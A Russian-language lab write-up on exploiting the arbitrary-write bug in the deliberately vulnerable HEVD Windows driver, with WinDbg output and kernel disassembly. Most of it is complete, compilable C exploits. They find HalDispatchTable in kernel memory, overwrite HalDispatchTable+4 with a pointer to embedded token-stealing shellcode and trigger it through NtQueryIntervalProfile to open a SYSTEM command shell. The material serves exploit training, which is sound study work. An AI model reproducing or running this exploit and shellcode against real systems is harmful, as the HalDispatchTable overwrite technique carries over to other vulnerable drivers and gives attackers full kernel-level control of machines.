В следующей лабе видим структуру:
typedef struct _WRITE_WHAT_WHERE
{
PULONG_PTR What;
PULONG_PTR Where;
} WRITE_WHAT_WHERE, *PWRITE_WHAT_WHERE;
А в конце:
NTSTATUS
TriggerArbitraryWrite(
_In_ PWRITE_WHAT_WHERE UserWriteWhatWhere
);
К сорцам:
Собственно запустим сплойт, посмотрим windbg:
#include <Windows.h>
#include <string.h>
#include <stdio.h>
#define IO_CODE 0x22200B
const char kDevName[] = "\\\\.\\HackSysExtremeVulnerableDriver";
int main() {
printf("[+] Calling CreateFileA() to obtain a handle to driver\n");
HANDLE hDevice = CreateFileA(kDevName,
GENERIC_READ | GENERIC_WRITE,
0,
NULL,
OPEN_EXISTING,
0,
NULL
);
if (hDevice == INVALID_HANDLE_VALUE) {
printf("[-] Error - dailed to get file handle!\n");
system("pause");
return -1;
}
printf("[+] Successfully obtained a handle to the driver\n");
char *poc = "AAAABBBB222233334444555566667777888899990000zzzzxxxxccccvvvvbbbbnnnnmmmmaaaassssddddffffgggghhhhjjjjkkkkllllpppp";
//printf("%d", sizeof(poc));
DWORD bytesRetn;
printf("[+] Starting interaction with the driver\n");
DeviceIoControl(hDevice, IO_CODE, poc, 100, NULL, 0, &bytesRetn, NULL);
//system("cmd.exe");
CloseHandle(hDevice);
return 0;
}
И получим:
****** HACKSYS_EVD_IOCTL_ARBITRARY_OVERWRITE ******
[+] UserWriteWhatWhere: 0x0040409C
[+] WRITE_WHAT_WHERE Size: 0x8
[+] UserWriteWhatWhere->What: 0x41414141
[+] UserWriteWhatWhere->Where: 0x42424242
[+] Triggering Arbitrary Overwrite
Break instruction exception - code 80000003 (first chance)
HEVD!TriggerArbitraryOverwrite+0x5e:
a8353b66 83c424 add esp,24h
kd> g
[-] Exception Code: 0xC0000005
****** HACKSYS_EVD_IOCTL_ARBITRARY_OVERWRITE ******
Собственно, что дальше-то? Сама дыра заключается в возможности писать произвольные данные по произвольному адресу. Обычно, возможности урезаются митигациями или в целом самой дырой (можно писать 1 байт / 1 бит / только по адресам выше N и тд)
В самом коде показан способ защиты: проверка на то, что адреса из пространства ядра
ProbeForRead((PVOID)What, sizeof(PULONG_PTR), (ULONG)__alignof(UCHAR));
ProbeForWrite((PVOID)Where, sizeof(PULONG_PTR), (ULONG)__alignof(UCHAR));
С msdn’а
The ProbeForRead routine checks that a user-mode buffer
actually resides in the user portion of the address space, and is correctly aligned.
If the specified range of memory is not within the user-mode address range,
ProbeForRead raises the STATUS_ACCESS_VIOLATION exception.
В этот раз у нас нет возможности просто прыгнуть на код, адрес которого мы передадим. Нам нужно переписать кукую-то бесполезную функцию, которая редко вызывается, шеллкодом, и уже тогда она сама вызовется.
Переписывать функцию будем в HalDispatchTable (Hardware Abstraction Layer Dispatch Table)
nt!NtQueryIntervalProfile:
82921073 6a0c push 0Ch
82921075 68880c6682 push offset nt! ?? ::FNODOBFM::`string'+0xd08 (82660c88)
8292107a e871b4d6ff call nt!_SEH_prolog4 (8268c4f0)
8292107f 64a124010000 mov eax,dword ptr fs:[00000124h]
82921085 8a983a010000 mov bl,byte ptr [eax+13Ah]
8292108b 84db test bl,bl
8292108d 743e je nt!NtQueryIntervalProfile+0x5a (829210cd)
8292108f 8365fc00 and dword ptr [ebp-4],0
82921093 8b750c mov esi,dword ptr [ebp+0Ch]
82921096 8bce mov ecx,esi
82921098 a154987782 mov eax,dword ptr [nt!MmUserProbeAddress (82779854)]
8292109d 3bf0 cmp esi,eax
8292109f 7202 jb nt!NtQueryIntervalProfile+0x30 (829210a3)
829210a1 8bc8 mov ecx,eax
829210a3 8b01 mov eax,dword ptr [ecx]
829210a5 8901 mov dword ptr [ecx],eax
829210a7 c745fcfeffffff mov dword ptr [ebp-4],0FFFFFFFEh
829210ae eb20 jmp nt!NtQueryIntervalProfile+0x5d (829210d0)
829210b0 8b45ec mov eax,dword ptr [ebp-14h]
829210b3 8b00 mov eax,dword ptr [eax]
829210b5 8b00 mov eax,dword ptr [eax]
829210b7 8945e4 mov dword ptr [ebp-1Ch],eax
829210ba 33c0 xor eax,eax
829210bc 40 inc eax
829210bd c3 ret
829210be 8b65e8 mov esp,dword ptr [ebp-18h]
829210c1 c745fcfeffffff mov dword ptr [ebp-4],0FFFFFFFEh
829210c8 8b45e4 mov eax,dword ptr [ebp-1Ch]
829210cb eb39 jmp nt!NtQueryIntervalProfile+0x93 (82921106)
829210cd 8b750c mov esi,dword ptr [ebp+0Ch]
829210d0 8b4508 mov eax,dword ptr [ebp+8]
829210d3 85c0 test eax,eax
829210d5 7507 jne nt!NtQueryIntervalProfile+0x6b (829210de)
829210d7 a1f48b7382 mov eax,dword ptr [nt!KiProfileInterval (82738bf4)]
829210dc eb05 jmp nt!NtQueryIntervalProfile+0x70 (829210e3)
829210de e88cbcfbff call nt!KeQueryIntervalProfile (828dcd6f)
nt!KeQueryIntervalProfile:
828dcd6f 8bff mov edi,edi
828dcd71 55 push ebp
828dcd72 8bec mov ebp,esp
828dcd74 83ec10 sub esp,10h
828dcd77 83f801 cmp eax,1
828dcd7a 7507 jne nt!KeQueryIntervalProfile+0x14 (828dcd83)
828dcd7c a168407782 mov eax,dword ptr [nt!KiProfileAlignmentFixupInterval (82774068)]
828dcd81 c9 leave
828dcd82 c3 ret
828dcd83 8945f0 mov dword ptr [ebp-10h],eax
828dcd86 8d45fc lea eax,[ebp-4]
828dcd89 50 push eax
828dcd8a 8d45f0 lea eax,[ebp-10h]
828dcd8d 50 push eax
828dcd8e 6a0c push 0Ch
828dcd90 6a01 push 1
828dcd92 ff1544947382 call dword ptr [nt!HalDispatchTable+0x4 (82739444)]
nt!HalDispatchTable --> 82739440
Способы найти HalDispatchTable
1) Энумерируем все адреса драйверов с помощью EnumDeviceDrivers()
2) Ищем среди них адрес ntoskrnl
(ntoskrnl.exe экспортирует KeQueryIntervalProfile())
3) Передаем хендл на ntoskrnl.exe в LoadLibraryExA и затем энумерируем адрес HalDispatchTable с помощью GetProcAddress
4) Как только адрес HalDispatchTable найден, мы можем посчитать адрес HalDispatchTable + 0x4 (добавив 4 байта) и переписать адрес на адрес нашего шеллкода в юзерспейсе.
4 байта добавляем, потому что по структуре HalDispatchTable в первых 4/8 байтах версия
#include <Windows.h>
#include <psapi.h>
#include <tchar.h>
#include <stdio.h>
#define ARRAY_SIZE 1024
int main() {
LPVOID drivers[ARRAY_SIZE];
DWORD cbNeeded;
int cDrivers, i;
if (EnumDeviceDrivers(drivers, sizeof(drivers), &cbNeeded) & cbNeeded < sizeof(drivers)) {
TCHAR szDriver[ARRAY_SIZE];
cDrivers = cbNeeded / sizeof(drivers[0]);
printf("There are %d drivers:\n", cDrivers);
for (i = 0; i < cDrivers; i++) {
if (GetDeviceDriverBaseName(drivers[i], szDriver, sizeof(szDriver) / sizeof(szDriver[0]))) {
//printf(" - %ws - \n", (const WCHAR *)szDriver);
//printf("%ls : %ls\n", szDriver, TEXT("ntkrnlpa.exe"));
if (!wcscmp(szDriver, TEXT("ntkrnlpa.exe"))) {
printf("%p: %ls\n", drivers[i], szDriver);
}
//printf("Skipped!\n");
}
}
}
else {
printf("EnumDeviceDrivers failed; array size needed is %d\n", cbNeeded / sizeof(LPVOID));
return 1;
}
return 0;
}
Get HalDispatchTable:
for (i = 0; i < cDrivers; i++) {
if (GetDeviceDriverBaseName(drivers[i], szDriver, sizeof(szDriver) / sizeof(szDriver[0]))) {
//printf(" - %ws - \n", (const WCHAR *)szDriver);
//printf("%ls : %ls\n", szDriver, TEXT("ntkrnlpa.exe"));
if (!wcscmp(szDriver, TEXT("ntkrnlpa.exe"))) {
printf("[+] Kernel Image Base: %p\n", drivers[i]);
HMODULE ntkrnlpaHandle = LoadLibraryExW(szDriver, 0, 0);
PVOID HALUserLand = (PVOID)GetProcAddress(ntkrnlpaHandle, "HalDispatchTable");
printf("[+] HalDispatchTable userland: %p \n", HALUserLand);
printf("\n\nHALUserLand: %p\nntkrnlpaHandle: %p\ndrivers[i]: %p\n\n", HALUserLand, &ntkrnlpaHandle, drivers[i]);
PVOID HalDispatchTable = (PVOID)((ULONG)drivers[i] - (ULONG)ntkrnlpaHandle + (ULONG)HALUserLand);
//PVOID HalDispatchTable = HALUserLand – ntkrnlpaHandle + szDriver;
printf("[~] HalDispatchTable Kernel: %p\n", HalDispatchTable);
}
//printf("Skipped!\n");
}
}
Так как переписывать мы будем HalDispatchTable+4, прибавим ещё 4 в коде и напишем эксплойт
#include <Windows.h>
#include <psapi.h>
#include <tchar.h>
#include <stdio.h>
#define IO_CODE 0x22200B
const char kDevName[] = "\\\\.\\HackSysExtremeVulnerableDriver";
#define ARRAY_SIZE 1024
int main() {
__debugbreak();
LPVOID drivers[ARRAY_SIZE];
DWORD cbNeeded;
int cDrivers, i;
if (EnumDeviceDrivers(drivers, sizeof(drivers), &cbNeeded) & cbNeeded < sizeof(drivers)) {
TCHAR szDriver[ARRAY_SIZE];
cDrivers = cbNeeded / sizeof(drivers[0]);
printf("There are %d drivers:\n", cDrivers);
for (i = 0; i < cDrivers; i++) {
if (GetDeviceDriverBaseName(drivers[i], szDriver, sizeof(szDriver) / sizeof(szDriver[0]))) {
//printf(" - %ws - \n", (const WCHAR *)szDriver);
//printf("%ls : %ls\n", szDriver, TEXT("ntkrnlpa.exe"));
if (!wcscmp(szDriver, TEXT("ntkrnlpa.exe"))) {
printf("[+] Kernel Image Base: %p\n", drivers[i]);
HMODULE ntkrnlpaHandle = LoadLibraryExW(szDriver, 0, 0);
PVOID HALUserLand = (PVOID)GetProcAddress(ntkrnlpaHandle, "HalDispatchTable");
printf("[+] HalDispatchTable userland: %p \n", HALUserLand);
printf("\n\nHALUserLand: %p\nntkrnlpaHandle: %p\ndrivers[i]: %p\n\n", HALUserLand, &ntkrnlpaHandle, drivers[i]);
PVOID HalDispatchTable = (PVOID)((ULONG)drivers[i] - (ULONG)ntkrnlpaHandle + (ULONG)HALUserLand + 4);
//PVOID HalDispatchTable = HALUserLand – ntkrnlpaHandle + szDriver;
printf("[~] HalDispatchTable Kernel: %p\n", HalDispatchTable);
const char* shellcode = "\x60\x31\xC0\x64\x8B\x80\x24\x01\x00\x00\x8B\x40\x50\x89\xC1\xBA\x04\x00\x00\x00\x8B\x80\xB8\x00\x00\x00\x2D\xB8\x00\x00\x00\x39\x90\xB4\x00\x00\x00\x75\xED\x8B\x90\xF8\x00\x00\x00\x89\x91\xF8\x00\x00\x00\x61\x31\xC0\x5D\xC2\x08\x00";
LPVOID shellc_ptr = VirtualAlloc(0, 58, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);
if (shellc_ptr)
memcpy(shellc_ptr, shellcode, 58);
printf("[+] Calling CreateFileA() to obtain a handle to driver\n");
HANDLE hDevice = CreateFileA(kDevName,
GENERIC_READ | GENERIC_WRITE,
0,
NULL,
OPEN_EXISTING,
0,
NULL
);
if (hDevice == INVALID_HANDLE_VALUE) {
printf("[-] Error - dailed to get file handle!\n");
system("pause");
return -1;
}
printf("[+] Successfully obtained a handle to the driver\n");
char poc[113] = "AAAABBBB222233334444555566667777888899990000zzzzxxxxccccvvvvbbbbnnnnmmmmaaaassssddddffffgggghhhhjjjjkkkkllllpppp";
//printf("%d", sizeof(poc));
DWORD bytesRetn;
LPVOID *var1 = &shellc_ptr;
poc[0] = ((unsigned char*)&var1)[0];
poc[1] = ((unsigned char*)&var1)[1];
poc[2] = ((unsigned char*)&var1)[2];
poc[3] = ((unsigned char*)&var1)[3];
poc[4] = ((unsigned char*)(&HalDispatchTable))[0];
poc[5] = ((unsigned char*)(&HalDispatchTable))[1];
poc[6] = ((unsigned char*)(&HalDispatchTable))[2];
poc[7] = ((unsigned char*)(&HalDispatchTable))[3];
//memcpy((void *) &poc[0], HalDispatchTable, 0x4);
//memcpy((void *) &poc[4], &shellc_ptr, 0x4);
printf("[+] Starting interaction with the driver\n");
DeviceIoControl(hDevice, IO_CODE, (LPVOID)poc, 100, NULL, 0, &bytesRetn, NULL);
system("cmd.exe");
CloseHandle(hDevice);
}
//printf("Skipped!\n");
}
}
}
else {
printf("EnumDeviceDrivers failed; array size needed is %d\n", cbNeeded / sizeof(LPVOID));
return 1;
}
return 0;
}
Допиливаем напёрстком сплойт, собираем шелл и Viola!
#include <Windows.h>
#include <psapi.h>
#include <tchar.h>
#include <stdio.h>
#define IO_CODE 0x22200B
const char kDevName[] = "\\\\.\\HackSysExtremeVulnerableDriver";
#define ARRAY_SIZE 1024
int main() {
__debugbreak();
LPVOID drivers[ARRAY_SIZE];
DWORD cbNeeded;
int cDrivers, i;
if (EnumDeviceDrivers(drivers, sizeof(drivers), &cbNeeded) & cbNeeded < sizeof(drivers)) {
TCHAR szDriver[ARRAY_SIZE];
cDrivers = cbNeeded / sizeof(drivers[0]);
printf("There are %d drivers:\n", cDrivers);
for (i = 0; i < cDrivers; i++) {
if (GetDeviceDriverBaseName(drivers[i], szDriver, sizeof(szDriver) / sizeof(szDriver[0]))) {
//printf(" - %ws - \n", (const WCHAR *)szDriver);
//printf("%ls : %ls\n", szDriver, TEXT("ntkrnlpa.exe"));
if (!wcscmp(szDriver, TEXT("ntkrnlpa.exe"))) {
printf("[+] Kernel Image Base: %p\n", drivers[i]);
HMODULE ntkrnlpaHandle = LoadLibraryExW(szDriver, 0, 0);
PVOID HALUserLand = (PVOID)GetProcAddress(ntkrnlpaHandle, "HalDispatchTable");
printf("[+] HalDispatchTable userland: %p \n", HALUserLand);
printf("\n\nHALUserLand: %p\nntkrnlpaHandle: %p\ndrivers[i]: %p\n\n", HALUserLand, &ntkrnlpaHandle, drivers[i]);
PVOID HalDispatchTable = (PVOID)((ULONG)drivers[i] - (ULONG)ntkrnlpaHandle + (ULONG)HALUserLand + 4);
//PVOID HalDispatchTable = HALUserLand – ntkrnlpaHandle + szDriver;
printf("[~] HalDispatchTable Kernel: %p\n", HalDispatchTable);
const char* shellcode = "\x90\x90\x90\x90\x60\x31\xc0\x64\x8b\x80\x24\x01\x00\x00\x8b\x40\x50\x89\xc1\xba\x04\x00\x00\x00\x8b\x80\xb8\x00\x00\x00\x2d\xb8\x00\x00\x00\x39\x90\xb4\x00\x00\x00\x75\xed\x8b\x90\xf8\x00\x00\x00\x89\x91\xf8\x00\x00\x00\x61\x31\xc0\x83\xc4\x24\x5d\xc2\x08\x00";
LPVOID shellc_ptr = VirtualAlloc(0, 65, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);
if (shellc_ptr)
memcpy(shellc_ptr, shellcode, 65);
printf("[+] Calling CreateFileA() to obtain a handle to driver\n");
HANDLE hDevice = CreateFileA(kDevName,
GENERIC_READ | GENERIC_WRITE,
0,
NULL,
OPEN_EXISTING,
0,
NULL
);
if (hDevice == INVALID_HANDLE_VALUE) {
printf("[-] Error - dailed to get file handle!\n");
system("pause");
return -1;
}
printf("[+] Successfully obtained a handle to the driver\n");
char poc[113] = "AAAABBBB222233334444555566667777888899990000zzzzxxxxccccvvvvbbbbnnnnmmmmaaaassssddddffffgggghhhhjjjjkkkkllllpppp";
//printf("%d", sizeof(poc));
DWORD bytesRetn;
LPVOID *var1 = &shellc_ptr;
poc[0] = ((unsigned char*)&var1)[0];
poc[1] = ((unsigned char*)&var1)[1];
poc[2] = ((unsigned char*)&var1)[2];
poc[3] = ((unsigned char*)&var1)[3];
poc[4] = ((unsigned char*)(&HalDispatchTable))[0];
poc[5] = ((unsigned char*)(&HalDispatchTable))[1];
poc[6] = ((unsigned char*)(&HalDispatchTable))[2];
poc[7] = ((unsigned char*)(&HalDispatchTable))[3];
//memcpy((void *) &poc[0], HalDispatchTable, 0x4);
//memcpy((void *) &poc[4], &shellc_ptr, 0x4);
printf("[+] Starting interaction with the driver\n");
DeviceIoControl(hDevice, IO_CODE, (LPVOID)poc, 100, NULL, 0, &bytesRetn, NULL);
CloseHandle(hDevice);
HMODULE ntdll = GetModuleHandleA("ntdll");
typedef NTSTATUS(NTAPI* PtrNtQueryIntervalProfile)(
DWORD ProfileSource,
PULONG Interval
);
PtrNtQueryIntervalProfile _NtQueryIntervalProfile = (PtrNtQueryIntervalProfile)GetProcAddress(ntdll, "NtQueryIntervalProfile");
printf("[+] Address of NtQueryIntervalProfile: 0x%x.\n", _NtQueryIntervalProfile);
ULONG whatever;
_NtQueryIntervalProfile(2, &whatever);
system("cmd.exe");
}
//printf("Skipped!\n");
}
}
}
else {
printf("EnumDeviceDrivers failed; array size needed is %d\n", cbNeeded / sizeof(LPVOID));
return 1;
}
return 0;
}
В самом конце у нас задача вызвать NtQueryIntervalProfile, что и происходит
Если дебагать, можно поставить бряки на NtQueryIntervalProfile и nt!KeQueryIntervalProfile
Заметки:
- Билдил в студии на хосте, в дебаг моде эксплойт работает только под windbg, в релизной версии работает без дебаггера, думаю, из-за vs либ
- Не забывать osr loader’ом загружать драйвер, если при первой загрузке не поставил automatic
- В теории можно сохранять значение по адресу HalDispatchTable+0x4 и после получения шелла восстанавливать его обратно, чтобы винда не падала (это проиходит при ребуте, так что не важно), но мне лень :)
Заметки:Следующий способ найти HalDispatchTable
Воспользуемся NtQuerySystemInformation
Фишка для windbg по пути: вот мы собираем какой-то юзермодный файлик, который будет к драйверу обращаться (например наш де код) и нам бы надо пересобрать .cpp и в том числе .pdb, но дескриптор на .pdb открыт, мы его подгрузили в windbg. Можно выгрузить модули с помощью .reload /u перекомпилить код и загрузить снова .sympath+ C:\path\to\pdb\file; .reload
Если хотим глядеть сорцы в windbg, надо сначала прожать File –> Open Source File, когда стоплнулся код на брейлпоинте в проге, а уже потом прописать .reload и всё будет работать:
Нет активной отладки в сорцах, но в дизасме прога стопнулась:
.reload и подключилась активная отладка:
И так, к NtQuerySystemInformation
Код получился вот такой:
#include <Windows.h>
#include <psapi.h>
#include <tchar.h>
#include <stdio.h>
#define MAXIMUM_FILENAME_LENGTH 255
#define IO_CODE 0x22200B
const char kDevName[] = "\\\\.\\HackSysExtremeVulnerableDriver";
int main() {
__debugbreak();
typedef struct SYSTEM_MODULE {
ULONG Reserved1;
ULONG Reserved2;
PVOID ImageBaseAddress;
ULONG ImageSize;
ULONG Flags;
WORD Id;
WORD Rank;
WORD w018;
WORD NameOffset;
BYTE Name[MAXIMUM_FILENAME_LENGTH];
}SYSTEM_MODULE, * PSYSTEM_MODULE;
typedef struct SYSTEM_MODULE_INFORMATION {
ULONG ModulesCount;
SYSTEM_MODULE Modules[1];
} SYSTEM_MODULE_INFORMATION, * PSYSTEM_MODULE_INFORMATION;
typedef enum _SYSTEM_INFORMATION_CLASS {
SystemModuleInformation = 11,
SystemHandleInformation = 16
} SYSTEM_INFORMATION_CLASS;
ULONG len = 0;
PSYSTEM_MODULE_INFORMATION pModuleInfo;
NTSTATUS WINAPI NtQuerySystemInformation(
_In_ SYSTEM_INFORMATION_CLASS SystemInformationClass,
_Inout_ PVOID SystemInformation,
_In_ ULONG SystemInformationLength,
_Out_opt_ PULONG ReturnLength
);
typedef NTSTATUS(WINAPI* PNtQuerySystemInformation)(
__in SYSTEM_INFORMATION_CLASS SystemInformationClass,
__inout PVOID SystemInformation,
__in ULONG SystemInformationLength,
__out_opt PULONG ReturnLength
);
HMODULE ntdll = GetModuleHandle(L"ntdll");
PNtQuerySystemInformation query = (PNtQuerySystemInformation)GetProcAddress(ntdll, "NtQuerySystemInformation");
if (query == NULL) {
wprintf(L"[!] GetModuleHandle Failed\n");
return 1;
}
query(SystemModuleInformation, NULL, 0, &len);
pModuleInfo = (PSYSTEM_MODULE_INFORMATION)GlobalAlloc(GMEM_ZEROINIT, len);
if (pModuleInfo == NULL) {
wprintf(L"[!] Failed to allocate memory\n");
return 1;
}
query(SystemModuleInformation, pModuleInfo, len, &len);
if (!len) {
wprintf(L"[!] Failed to retrieve system module information\n");
return 1;
}
PVOID kernelImageBase = pModuleInfo->Modules[0].ImageBaseAddress;
PCHAR kernelImage = (PCHAR)pModuleInfo->Modules[0].Name;
kernelImage = strrchr(kernelImage, '\\') + 1;
wprintf(L"[+] Kernel Image name %S\n", kernelImage);
wprintf(L"[+] Kernel Image Base %p\n", kernelImageBase);
HMODULE KernelHandle = LoadLibraryA(kernelImage);
wprintf(L"[+] Kernel Handle %p\n", KernelHandle);
PVOID HALUserLand = (PVOID)GetProcAddress(KernelHandle, "HalDispatchTable");
wprintf(L"[+] HalDispatchTable userland %p\n", HALUserLand);
PVOID HalDispatchTable = (PVOID)((ULONG)kernelImageBase - (ULONG)KernelHandle + (ULONG)HALUserLand + 4);
wprintf(L"[~] HalDispatchTable Kernel %p\n", HalDispatchTable);
printf("[~] HalDispatchTable Kernel: %p\n", HalDispatchTable);
const char* shellcode = "\x90\x90\x90\x90\x60\x31\xc0\x64\x8b\x80\x24\x01\x00\x00\x8b\x40\x50\x89\xc1\xba\x04\x00\x00\x00\x8b\x80\xb8\x00\x00\x00\x2d\xb8\x00\x00\x00\x39\x90\xb4\x00\x00\x00\x75\xed\x8b\x90\xf8\x00\x00\x00\x89\x91\xf8\x00\x00\x00\x61\x31\xc0\x83\xc4\x24\x5d\xc2\x08\x00";
LPVOID shellc_ptr = VirtualAlloc(0, 65, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);
if (shellc_ptr)
memcpy(shellc_ptr, shellcode, 65);
printf("[+] Calling CreateFileA() to obtain a handle to driver\n");
HANDLE hDevice = CreateFileA(kDevName, GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, 0, NULL);
if (hDevice == INVALID_HANDLE_VALUE) {
printf("[-] Error - dailed to get file handle!\n");
system("pause");
return -1;
}
printf("[+] Successfully obtained a handle to the driver\n");
char poc[113] = "AAAABBBB222233334444555566667777888899990000zzzzxxxxccccvvvvbbbbnnnnmmmmaaaassssddddffffgggghhhhjjjjkkkkllllpppp";
DWORD bytesRetn;
LPVOID *var1 = &shellc_ptr;
poc[0] = ((unsigned char*)&var1)[0];
poc[1] = ((unsigned char*)&var1)[1];
poc[2] = ((unsigned char*)&var1)[2];
poc[3] = ((unsigned char*)&var1)[3];
poc[4] = ((unsigned char*)(&HalDispatchTable))[0];
poc[5] = ((unsigned char*)(&HalDispatchTable))[1];
poc[6] = ((unsigned char*)(&HalDispatchTable))[2];
poc[7] = ((unsigned char*)(&HalDispatchTable))[3];
printf("[+] Starting interaction with the driver\n");
DeviceIoControl(hDevice, IO_CODE, (LPVOID)poc, 100, NULL, 0, &bytesRetn, NULL);
CloseHandle(hDevice);
//HMODULE ntdll = GetModuleHandleA("ntdll");
typedef NTSTATUS(NTAPI* PtrNtQueryIntervalProfile)(DWORD ProfileSource, PULONG Interval);
PtrNtQueryIntervalProfile _NtQueryIntervalProfile = (PtrNtQueryIntervalProfile)GetProcAddress(ntdll, "NtQueryIntervalProfile");
printf("[+] Address of NtQueryIntervalProfile: 0x%x.\n", _NtQueryIntervalProfile);
ULONG whatever;
_NtQueryIntervalProfile(2, &whatever);
system("cmd.exe");
return 0;
}